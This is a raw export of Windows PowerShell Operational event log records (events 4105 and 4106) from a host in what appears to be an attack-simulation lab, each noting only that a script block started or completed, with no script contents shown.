SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042875
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042874
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042873
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042872
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042871
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042870
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042869
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042868
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042867
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042866
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042865
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042864
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042863
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042862
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042861
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042860
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042859
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042858
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042857
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042856
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042855
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042854
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042853
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042852
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042851
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042850
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042849
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042848
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042847
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042846
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042845
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042844
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042843
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042842
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042841
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042840
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042839
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042838
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042837
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042836
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042835
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042834
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042833
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042832
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042831
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042830
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042829
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042828
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042827
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042826
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042825
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042824
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042823
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
